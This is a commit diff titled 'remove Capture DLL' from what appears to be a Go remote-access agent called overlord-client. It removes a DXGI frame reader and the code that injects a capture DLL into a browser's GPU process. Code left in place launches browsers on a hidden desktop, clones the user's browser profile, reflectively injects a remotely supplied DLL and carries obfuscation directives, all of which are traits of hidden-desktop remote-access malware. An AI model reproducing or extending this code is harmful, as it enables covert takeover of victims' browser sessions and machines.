remove Capture DLL
This commit is contained in:
@@ -1,320 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/wininterop"
|
||||
)
|
||||
|
||||
// backstageFrameHeader mirrors the C backstageFrameHeader struct.
|
||||
// must be kept in sync with BackstageCapture/src/DXGICapture.h.
|
||||
type backstageFrameHeader struct {
|
||||
Magic uint32
|
||||
Version uint32
|
||||
Width uint32
|
||||
Height uint32
|
||||
Stride uint32
|
||||
Format uint32
|
||||
FrameSeq uint64
|
||||
TimestampNs uint64
|
||||
PID uint32
|
||||
Reserved uint32
|
||||
}
|
||||
|
||||
const (
|
||||
backstageFrameMagic = 0x434E5648 // 'backstage'
|
||||
backstageFrameVersion = 1
|
||||
backstageFrameHeaderSize = 48 // sizeof(backstageFrameHeader)
|
||||
backstageShmPrefix = `Local\backstage_frame_`
|
||||
backstageEventPrefix = `Local\backstage_evt_`
|
||||
)
|
||||
|
||||
var (
|
||||
procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW")
|
||||
procOpenEventW = kernel32.NewProc("OpenEventW")
|
||||
)
|
||||
|
||||
const (
|
||||
FILE_MAP_READ = 0x0004
|
||||
EVENT_ALL_ACCESS = 0x1F0003
|
||||
SYNCHRONIZE = 0x00100000
|
||||
)
|
||||
|
||||
type backstageFrameReader struct {
|
||||
pid uint32
|
||||
shmHandle uintptr
|
||||
shmView unsafe.Pointer
|
||||
shmSize uintptr
|
||||
evtHandle uintptr
|
||||
lastSeq uint64
|
||||
staleCount int
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
var (
|
||||
backstageFrameReaders = make(map[uint32]*backstageFrameReader)
|
||||
backstageFrameReadersMu sync.Mutex
|
||||
|
||||
backstageGPUPIDMap = make(map[uint32]uint32)
|
||||
)
|
||||
|
||||
func backstageRegisterGPUPID(browserPID, gpuPID uint32) {
|
||||
backstageFrameReadersMu.Lock()
|
||||
backstageGPUPIDMap[browserPID] = gpuPID
|
||||
backstageFrameReadersMu.Unlock()
|
||||
log.Printf("backstage dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
|
||||
}
|
||||
|
||||
func backstageGetFrameReader(pid uint32) *backstageFrameReader {
|
||||
backstageFrameReadersMu.Lock()
|
||||
defer backstageFrameReadersMu.Unlock()
|
||||
|
||||
if r, ok := backstageFrameReaders[pid]; ok {
|
||||
if r.staleCount > 300 {
|
||||
log.Printf("backstage dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
|
||||
r.close()
|
||||
delete(backstageFrameReaders, pid)
|
||||
} else {
|
||||
return r
|
||||
}
|
||||
}
|
||||
|
||||
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageShmPrefix, pid))
|
||||
shmHandle, _, _ := procOpenFileMappingW.Call(
|
||||
FILE_MAP_READ,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(shmName)),
|
||||
)
|
||||
if shmHandle == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
view, _, _ := procMapViewOfFile.Call(
|
||||
shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
backstageFrameHeaderSize,
|
||||
)
|
||||
if view == 0 {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr := (*backstageFrameHeader)(wininterop.Pointer(view))
|
||||
if hdr.Magic != backstageFrameMagic {
|
||||
procUnmapViewOfFile.Call(view)
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
fullSize := uintptr(backstageFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
|
||||
|
||||
procUnmapViewOfFile.Call(view)
|
||||
view = 0
|
||||
hdr = nil
|
||||
|
||||
fullView, _, _ := procMapViewOfFile.Call(
|
||||
shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
fullSize,
|
||||
)
|
||||
if fullView == 0 {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr2 := (*backstageFrameHeader)(wininterop.Pointer(fullView))
|
||||
|
||||
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid))
|
||||
evtHandle, _, _ := procOpenEventW.Call(
|
||||
SYNCHRONIZE,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(evtName)),
|
||||
)
|
||||
|
||||
r := &backstageFrameReader{
|
||||
pid: pid,
|
||||
shmHandle: shmHandle,
|
||||
shmView: wininterop.Pointer(fullView),
|
||||
shmSize: fullSize,
|
||||
evtHandle: evtHandle,
|
||||
}
|
||||
backstageFrameReaders[pid] = r
|
||||
|
||||
log.Printf("backstage dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
|
||||
pid, hdr2.Width, hdr2.Height, fullSize)
|
||||
return r
|
||||
}
|
||||
|
||||
func (r *backstageFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if r.shmView == nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
hdr := (*backstageFrameHeader)(r.shmView)
|
||||
if hdr.Magic != backstageFrameMagic || hdr.Version != backstageFrameVersion {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
w = int(hdr.Width)
|
||||
h = int(hdr.Height)
|
||||
stride := int(hdr.Stride)
|
||||
|
||||
if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
dstStride := w * 4
|
||||
if stride < dstStride {
|
||||
return 0, 0, false // stride must be >= w*4
|
||||
}
|
||||
|
||||
needed := w * h * 4
|
||||
if len(dst) < needed {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
totalNeeded := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
if totalNeeded > r.shmSize {
|
||||
r.remap(w, h, stride)
|
||||
if r.shmView == nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
hdr = (*backstageFrameHeader)(r.shmView)
|
||||
if hdr.Magic != backstageFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
|
||||
return 0, 0, false
|
||||
}
|
||||
}
|
||||
|
||||
pixelData := unsafe.Add(r.shmView, backstageFrameHeaderSize)
|
||||
srcSize := stride * h
|
||||
src := unsafe.Slice((*byte)(pixelData), srcSize)
|
||||
|
||||
for y := 0; y < h; y++ {
|
||||
srcOff := y * stride
|
||||
dstOff := y * dstStride
|
||||
copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride])
|
||||
}
|
||||
|
||||
seq := hdr.FrameSeq
|
||||
if seq != r.lastSeq {
|
||||
r.lastSeq = seq
|
||||
r.staleCount = 0
|
||||
} else {
|
||||
r.staleCount++
|
||||
}
|
||||
|
||||
return w, h, true
|
||||
}
|
||||
|
||||
func (r *backstageFrameReader) remap(w, h, stride int) {
|
||||
if r.shmView != nil {
|
||||
procUnmapViewOfFile.Call(uintptr(r.shmView))
|
||||
r.shmView = nil
|
||||
}
|
||||
|
||||
newSize := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
view, _, _ := procMapViewOfFile.Call(
|
||||
r.shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
newSize,
|
||||
)
|
||||
if view == 0 {
|
||||
return
|
||||
}
|
||||
r.shmView = wininterop.Pointer(view)
|
||||
r.shmSize = newSize
|
||||
}
|
||||
|
||||
func (r *backstageFrameReader) close() {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if r.shmView != nil {
|
||||
procUnmapViewOfFile.Call(uintptr(r.shmView))
|
||||
r.shmView = nil
|
||||
}
|
||||
if r.shmHandle != 0 {
|
||||
procCloseHandle.Call(r.shmHandle)
|
||||
r.shmHandle = 0
|
||||
}
|
||||
if r.evtHandle != 0 {
|
||||
procCloseHandle.Call(r.evtHandle)
|
||||
r.evtHandle = 0
|
||||
}
|
||||
}
|
||||
|
||||
func backstageCleanupFrameReaders() {
|
||||
backstageFrameReadersMu.Lock()
|
||||
defer backstageFrameReadersMu.Unlock()
|
||||
|
||||
for pid, r := range backstageFrameReaders {
|
||||
r.close()
|
||||
delete(backstageFrameReaders, pid)
|
||||
}
|
||||
for k := range backstageGPUPIDMap {
|
||||
delete(backstageGPUPIDMap, k)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
backstageInjectedPIDs = make(map[uint32]time.Time)
|
||||
backstageInjectedPIDsMu sync.Mutex
|
||||
)
|
||||
|
||||
func backstageRegisterInjectedPID(pid uint32) {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
backstageInjectedPIDs[pid] = time.Now()
|
||||
backstageInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func backstageGetInjectedPIDs() []uint32 {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
defer backstageInjectedPIDsMu.Unlock()
|
||||
pids := make([]uint32, 0, len(backstageInjectedPIDs))
|
||||
for pid := range backstageInjectedPIDs {
|
||||
pids = append(pids, pid)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
func backstageUnregisterInjectedPID(pid uint32) {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
delete(backstageInjectedPIDs, pid)
|
||||
backstageInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func parsebackstageFrameHeader(data []byte) (*backstageFrameHeader, bool) {
|
||||
if len(data) < backstageFrameHeaderSize {
|
||||
return nil, false
|
||||
}
|
||||
hdr := &backstageFrameHeader{
|
||||
Magic: binary.LittleEndian.Uint32(data[0:4]),
|
||||
Version: binary.LittleEndian.Uint32(data[4:8]),
|
||||
Width: binary.LittleEndian.Uint32(data[8:12]),
|
||||
Height: binary.LittleEndian.Uint32(data[12:16]),
|
||||
Stride: binary.LittleEndian.Uint32(data[16:20]),
|
||||
Format: binary.LittleEndian.Uint32(data[20:24]),
|
||||
FrameSeq: binary.LittleEndian.Uint64(data[24:32]),
|
||||
TimestampNs: binary.LittleEndian.Uint64(data[32:40]),
|
||||
PID: binary.LittleEndian.Uint32(data[40:44]),
|
||||
Reserved: binary.LittleEndian.Uint32(data[44:48]),
|
||||
}
|
||||
if hdr.Magic != backstageFrameMagic {
|
||||
return nil, false
|
||||
}
|
||||
return hdr, true
|
||||
}
|
||||
@@ -4,11 +4,11 @@ package capture
|
||||
|
||||
import "errors"
|
||||
|
||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
return 0, errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error {
|
||||
return errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
|
||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||
|
||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
return errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
|
||||
@@ -55,6 +55,8 @@ const (
|
||||
PROCESS_VM_READ = 0x0010
|
||||
PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||
|
||||
SYNCHRONIZE = 0x00100000
|
||||
|
||||
MEM_COMMIT = 0x1000
|
||||
MEM_RESERVE = 0x2000
|
||||
PAGE_EXECUTE_READWRITE = 0x40
|
||||
@@ -164,7 +166,7 @@ func enableDebugPrivilege() {
|
||||
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -173,13 +175,12 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllB
|
||||
}
|
||||
|
||||
result, err := executebackstageTask(backstageTask{
|
||||
kind: backstageTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
captureDllBytes: captureDllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
display: display,
|
||||
kind: backstageTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
display: display,
|
||||
}, 30*time.Second)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
@@ -187,7 +188,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllB
|
||||
return result.pid, result.err
|
||||
}
|
||||
|
||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
if onDXGIStatus != nil {
|
||||
backstageDXGIStatusCallback.Store(onDXGIStatus)
|
||||
}
|
||||
@@ -234,7 +235,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
|
||||
|
||||
if !clone {
|
||||
notify("launch", true, "starting without profile cloning")
|
||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
|
||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -295,7 +296,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
|
||||
}
|
||||
|
||||
notify("launch", true, "starting with cloned profile")
|
||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
|
||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -318,8 +319,8 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
|
||||
}
|
||||
|
||||
// StartbackstageChromeInjected is kept for backward compatibility.
|
||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
|
||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error {
|
||||
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, nil, nil, nil)
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
@@ -1001,7 +1002,7 @@ func calcDirSize(dir string) int64 {
|
||||
return total
|
||||
}
|
||||
|
||||
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
@@ -1055,64 +1056,9 @@ func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, cap
|
||||
|
||||
log.Printf("backstage inject: process PID %d resumed with DLL hooks active", pid)
|
||||
|
||||
if len(captureDllBytes) > 0 {
|
||||
if !backstageDXGIEnabled.Load() {
|
||||
log.Printf("backstage inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||
} else {
|
||||
go func() {
|
||||
defer recoverAndLog("backstage deferred gpu inject", nil)
|
||||
backstageDeferredGPUInject(pid, captureDllBytes)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func backstageDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
time.Sleep(4 * time.Second)
|
||||
|
||||
for attempt := 0; attempt < 15; attempt++ {
|
||||
gpuPID, err := findGPUChildProcess(browserPID)
|
||||
if err != nil {
|
||||
log.Printf("backstage inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
|
||||
time.Sleep(2 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("backstage inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
|
||||
|
||||
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
|
||||
if hProcess == 0 {
|
||||
log.Printf("backstage inject: failed to open GPU process PID %d", gpuPID)
|
||||
return
|
||||
}
|
||||
|
||||
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
|
||||
log.Printf("backstage inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
procCloseHandle.Call(hProcess)
|
||||
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
|
||||
}
|
||||
return
|
||||
}
|
||||
procCloseHandle.Call(hProcess)
|
||||
|
||||
log.Printf("backstage inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
|
||||
backstageRegisterInjectedPID(gpuPID)
|
||||
backstageRegisterGPUPID(browserPID, gpuPID)
|
||||
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("backstage inject: gave up finding GPU child for browser PID %d", browserPID)
|
||||
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, 0, "DXGI injection failed: GPU process not found")
|
||||
}
|
||||
}
|
||||
|
||||
func findGPUChildProcess(parentPID uint32) (uint32, error) {
|
||||
children := findChildPIDs(parentPID)
|
||||
if len(children) == 0 {
|
||||
|
||||
@@ -157,7 +157,7 @@ var (
|
||||
backstageDesktopHandle uintptr
|
||||
backstageDesktopMu sync.Mutex
|
||||
backstageCaptureMu sync.Mutex
|
||||
backstageDesktopName = "OverlordHiddenDesktop"
|
||||
backstageDesktopName = "OverlordBackstage"
|
||||
backstageInitialized bool
|
||||
backstageOriginalDesktop uintptr
|
||||
backstageCursorEnabled bool
|
||||
@@ -234,7 +234,6 @@ type backstageTask struct {
|
||||
text string
|
||||
delta int32
|
||||
dllBytes []byte
|
||||
captureDllBytes []byte
|
||||
searchPath string
|
||||
replacePath string
|
||||
queuedAt time.Time
|
||||
@@ -393,7 +392,6 @@ func CleanupbackstageDesktop() {
|
||||
ResetPrevbackstage()
|
||||
resetH264D3D11TextureEncoder("backstage")
|
||||
|
||||
backstageCleanupFrameReaders()
|
||||
dwmCleaned, workerStopped := shutdownbackstageThreadLocked(time.Second)
|
||||
if !dwmCleaned {
|
||||
backstageAbandonDWMThumbnails()
|
||||
@@ -563,7 +561,7 @@ func ensurebackstageThread() error {
|
||||
case backstageTaskStartProcess:
|
||||
result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display)
|
||||
case backstageTaskStartProcessInjected:
|
||||
result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display)
|
||||
result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display)
|
||||
case backstageTaskMouseMove:
|
||||
result.err = backstageMouseMoveOnThread(task.display, task.x, task.y)
|
||||
case backstageTaskMouseDown:
|
||||
@@ -1905,9 +1903,6 @@ func backstageFreeCacheEntry(entry *backstageWinCacheEntry) {
|
||||
}
|
||||
}
|
||||
|
||||
var dxgiFrameBuf []byte
|
||||
|
||||
var backstageDXGIEnabled atomic.Bool
|
||||
var backstageUIAEnabled atomic.Bool
|
||||
var backstagePrintWindowFallbackEnabled atomic.Bool
|
||||
var backstagePrintWindowFallbackLogNs atomic.Int64
|
||||
@@ -1915,17 +1910,15 @@ var backstagePrintWindowTimeoutLogNs atomic.Int64
|
||||
var backstagePrintWindowFn = printWindow
|
||||
|
||||
func init() {
|
||||
backstageDXGIEnabled.Store(false) // disabled by default
|
||||
backstageUIAEnabled.Store(false) // disabled by default
|
||||
backstageUIAEnabled.Store(false) // disabled by default
|
||||
backstagePrintWindowFallbackEnabled.Store(true)
|
||||
}
|
||||
|
||||
func SetbackstageDXGIEnabled(enabled bool) {
|
||||
backstageDXGIEnabled.Store(enabled)
|
||||
func SetbackstageDXGIEnabled(_ bool) {
|
||||
}
|
||||
|
||||
func GetbackstageDXGIEnabled() bool {
|
||||
return backstageDXGIEnabled.Load()
|
||||
return false
|
||||
}
|
||||
|
||||
func SetbackstageUIAEnabled(enabled bool) {
|
||||
@@ -1987,79 +1980,6 @@ func backstagePrintWindowWithTimeout(hwnd uintptr, entry *backstageWinCacheEntry
|
||||
}
|
||||
}
|
||||
|
||||
func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||
if !backstageDXGIEnabled.Load() {
|
||||
return false
|
||||
}
|
||||
var pid uint32
|
||||
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||
if pid == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
reader := backstageGetFrameReader(pid)
|
||||
if reader == nil {
|
||||
backstageFrameReadersMu.Lock()
|
||||
gpuPID := backstageGPUPIDMap[pid]
|
||||
backstageFrameReadersMu.Unlock()
|
||||
if gpuPID != 0 {
|
||||
reader = backstageGetFrameReader(gpuPID)
|
||||
}
|
||||
}
|
||||
if reader == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
needed := winW * winH * 4
|
||||
if cap(dxgiFrameBuf) < needed {
|
||||
dxgiFrameBuf = make([]byte, needed)
|
||||
}
|
||||
buf := dxgiFrameBuf[:needed]
|
||||
|
||||
frameW, frameH, ok := reader.readFrame(buf)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
copyW := minInt(winW, frameW)
|
||||
copyH := minInt(winH, frameH)
|
||||
if copyW <= 0 || copyH <= 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
srcStride := frameW * 4
|
||||
winStride := winW * 4
|
||||
|
||||
effWinLeft := winLeft
|
||||
effWinTop := winTop
|
||||
effWinRight := winLeft + copyW
|
||||
effWinBottom := winTop + copyH
|
||||
|
||||
interLeft := maxInt(effWinLeft, bounds.Min.X)
|
||||
interTop := maxInt(effWinTop, bounds.Min.Y)
|
||||
interRight := minInt(effWinRight, bounds.Max.X)
|
||||
interBottom := minInt(effWinBottom, bounds.Max.Y)
|
||||
if interRight <= interLeft || interBottom <= interTop {
|
||||
return false
|
||||
}
|
||||
|
||||
srcX := interLeft - winLeft
|
||||
srcY := interTop - winTop
|
||||
dstX := interLeft - bounds.Min.X
|
||||
dstY := interTop - bounds.Min.Y
|
||||
blitW := interRight - interLeft
|
||||
blitH := interBottom - interTop
|
||||
|
||||
for y := 0; y < blitH; y++ {
|
||||
srcStart := (srcY+y)*srcStride + srcX*4
|
||||
dstStart := (dstY+y)*targetStride + dstX*4
|
||||
copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4])
|
||||
}
|
||||
|
||||
_ = winStride
|
||||
return true
|
||||
}
|
||||
|
||||
func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||
if backstageIsDWMHost(hwnd) {
|
||||
return false
|
||||
@@ -2089,9 +2009,6 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target
|
||||
return false
|
||||
}
|
||||
|
||||
if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
|
||||
return true
|
||||
}
|
||||
if !backstagePrintWindowFallbackEnabled.Load() {
|
||||
now := time.Now().UnixNano()
|
||||
last := backstagePrintWindowFallbackLogNs.Load()
|
||||
|
||||
@@ -570,21 +570,6 @@ func extractDLLBytes(payload map[string]interface{}) []byte {
|
||||
return nil
|
||||
}
|
||||
|
||||
func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
|
||||
if payload == nil {
|
||||
return nil
|
||||
}
|
||||
switch v := payload["capture_dll"].(type) {
|
||||
case []byte:
|
||||
return v
|
||||
case string:
|
||||
if len(v) > 0 {
|
||||
return []byte(v)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
cmdID, _ := envelope["id"].(string)
|
||||
@@ -2047,11 +2032,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||
return nil
|
||||
}
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
|
||||
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("backstage_start_process_injected", nil, func() {
|
||||
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
|
||||
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display); err != nil {
|
||||
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
@@ -2071,10 +2055,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("backstage_start_chrome_injected", nil, func() {
|
||||
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
|
||||
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes); err != nil {
|
||||
log.Printf("backstage: chrome injected failed: %v", err)
|
||||
}
|
||||
})
|
||||
@@ -2118,7 +2101,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("backstage_start_browser_injected", nil, func() {
|
||||
var onProgress capture.CloneProgressFunc
|
||||
@@ -2155,7 +2137,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
|
||||
}
|
||||
})
|
||||
|
||||
Reference in New Issue
Block a user